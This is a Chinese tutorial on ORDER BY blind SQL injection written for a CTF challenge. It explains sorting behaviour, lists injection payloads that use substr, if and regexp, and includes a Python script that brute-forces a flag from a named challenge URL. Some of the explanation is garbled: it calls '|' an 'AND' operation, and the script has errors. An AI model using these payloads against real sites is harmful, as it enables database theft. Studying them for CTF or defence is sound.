本文章只讨论了order by盲注,关于order by的报错等注入不在本文章讨论范围,另有文章。

让我们先来看看本文章所使用的表的内容,如下图:

接下来先了解一下order by的基础知识:

order by子句

作用:对查询返回的结果按一列或多列排序。

语法格式:ORDER BY {column_name [ASC|DASC]}[,...n]

注意:orderby 语句默认按照升序对记录进行排序

效果如下图:

思考1:以下两种sql语句的区别?将会怎么对查询结果进行排列?

1、select * from user order by username,password desc;(order by 2,3 desc)
2、select * from user order by username; (order by 2)

第一个排列结果如下图:

第二个排列结果如下图:

结论:

由以上的排序结果可看出:

1、如果是按照列中的字符串来排序的话,是按照字符串的首字母以其在26字母表中的位置来排序的。

2、如果order by的后面有多个参数,则会先照第一个参数进行排序,如果在按照第一个参数排完序之后,其中有重复的(就像上面演示的那样,admin重复),则这些重复的会再按照第二个参数进行排序

思考2:以下两种查询方式等效吗?为什么?

1、select * from user order by id|2;
2、select * from user order by 1|2;

第一个排列结果如下图:

第二个排列结果如下图:

结论:

不等效

原因如下:

我们先看看这句的效果:

select id|2 from user;

select * from user order by 1|2;

我相信大家通过这个就会发现规律了吧:

order by id|2的意思就是id中的每一个数都与2进行‘与’运算,1|2=3, 2|2=2, 3|2=3, 6|2=6,然后就按照做完‘与’运算后的数据进行排序,即2336,然后就会变成第一种的顺序了。但是1|2都为3,这样的话就会按照默认的查询顺序,而不进行排序了。

思考3:在不知道列名的情况下可以通过列序号来指代相应的列,但是可以使用列序号做运算吗?

1、select * from user order by 1;
2、select * from user order by 1+1;
3、select * from user order by 3+1;
4、select * from user order by (1+1);
5、select * from user order by (3+1);

由于篇幅关系,再此仅做部分查询:

结论:

你会发现以上语句的排序结果是一样的,这就说明在不知道列名的情况下可以通过列的序号来指代相应的列,但是不可以做以上加或减之后的排序。

order by盲注:

根据不同的列排序,会返回不同的结果,因此这里可以使用类似于bool型盲注的形式来注入,即使判断结果与某种返回内容相关联,来实现注入。

(即:所谓的order by盲注就是以其排序结果为基准,来判断注入语句是否被成功执行,从而来进行暴力猜解)%e6%b5%85%e6%98%93%e6%b7%b1

注意:

order by可以根据多列排序,因此注入的语句不一定限制于第一个参数,也可以通过逗号去对新的列进行注入,但是要利用逗号之后的参数的话,就必须要求前一个参数排完之后还要有重复的才行。

下面提供一些可供参考的order by盲注语句:

select * from user order by id|(if(substr(database(),1,1)='a',2,3));
当前数据库名称的首字母为a时id和2‘与’,否则和3‘与’。 (造成两种不同的排序)
select * from user order by id|(if(substr(select flag from CTF),1,1)='a',2,3));
表CTF中flag字段的首字母为a时id和2‘与’,否则和3‘与’。(造成两种不同的排序)
select * from user order by id|{select (select flag from level1_flag) regexp payload}
flag匹配成功和 1 “与”,匹配失败和 0 “与”。 (造成两种不同的排序)

下面为实现order by盲注的python脚本,可供参考:

import requests
# 定义一个flag取值的一个“范围”
dic = "1234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM_!@#$%^&*"
# 之所以不定义为空,而是“^”,是为了从头开始匹配
flag = "^"
# 目标url,先传“|1”,获取其数据的排列内容,作为一个对比的基准
url1 = "https://chall.tasteless.eu/level1/index.php?dir=|1"
content1 = requests.get(url1).content
# 这个flag的长度被定义为了50个字符长度
for i in range(50):
# 从定义的dic中挨个取1字符,拼凑payload
for letter in dic:
payload = flag + letter
#该url最后的“}2b1”-->"}+1"
url2 = "https://chall.tasteless.eu/level1/index.php?dir=|{select (select flag from level1_flag) regexp "+"'"+ payload +"'"+"}%2b1"
print(url)
# 获取实际注入后的排列内容
content2 = requests.get(url2).content
# 如果不相等,即为flag内容(为什么是不相等,而不是相等,因为在url2的最后又“+1”,即匹配成功则是“?dir=|2”,匹配不成功则是“?dir=|1”)
if(content1 != content2):
flag = payload
print(flag)
break

CTF-sql-order by盲注的更多相关文章

  1. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  2. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  3. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  4. webgote的例子(6)SQL注入(盲注)

    SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...

  5. Sql注入_mysql盲注__二次注入

    sleep盲注攻击 Sleep延迟:延迟盲注 If(条件,true,false): 条件成立,返回第二个参数,反之第三个参数 举例1:length id=1 union select 1,2,slee ...

  6. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  7. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  8. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

  9. SQL注入:盲注

    盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...

  10. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

随机推荐

  1. uni-app + Cloudbase——uni-app 项目中如何使用腾讯云开发后端服务

    1 基本介绍 uni-app 是一个基于 Vue.js 的跨端开发框架,一套代码可以发布到 App.小程序.Web 等不同平台 腾讯云开发平台 Cloudbase 提供的 @cloudbase/js- ...

  2. 后端调用WebApi

    using System;using System.Collections.Generic;using System.Linq;using System.Net.Http;using System.W ...

  3. JAVA火星坐标系、百度坐标系、84坐标系相互转换工具类

    /** * 坐标系转换工具类 */ public class PositionUtil { public static double pi = 3.1415926535897932384626; pu ...

  4. C笔试题:将int型数组强制转换为char*,再求strlen,涉及大小端

    1 #include<stdio.h> 2 #include<string.h> 3 int main() 4 { 5 int a[2000]; 6 char *p = (ch ...

  5. 【LeetCode】 204. Count Primes 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 素数筛法 参考资料 日期 [LeetCode] 题目 ...

  6. 【LeetCode】892. Surface Area of 3D Shapes 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...

  7. 基于MCRA-OMLSA的语音降噪(二):实现

    上篇文章(基于MCRA-OMLSA的语音降噪(一):原理)讲了基于MCRA-OMLSA降噪的原理,本篇讲怎么做软件实现.软件实现有多种方式.单纯看降噪效果可用python,因为python有丰富的库可 ...

  8. 小试国产开源HTAP分布式NewSQL数据库TiDB-v5.3.0

    概述 定义 TiDB官网 https://pingcap.com/zh/ 最新版本为5.3.0 TiDB GitHub源码 https://github.com/pingcap/tidb TiDB是由 ...

  9. [Kaiming]Delving Deep into Rectifiers: Surpassing Human-Level Performance on ImageNet Classification

    目录 概 主要内容 PReLU Kaiming 初始化 Forward case Backward case He K, Zhang X, Ren S, et al. Delving Deep int ...

  10. Drools集成SpringBoot

    1.说明 为了更好的在项目中使用Drools, 需要把Drools集成到Spring Boot, 下面介绍集成的方法, 并且开发简单的Demo和测试用例. 2.创建Maven工程 pom.xml工程信 ...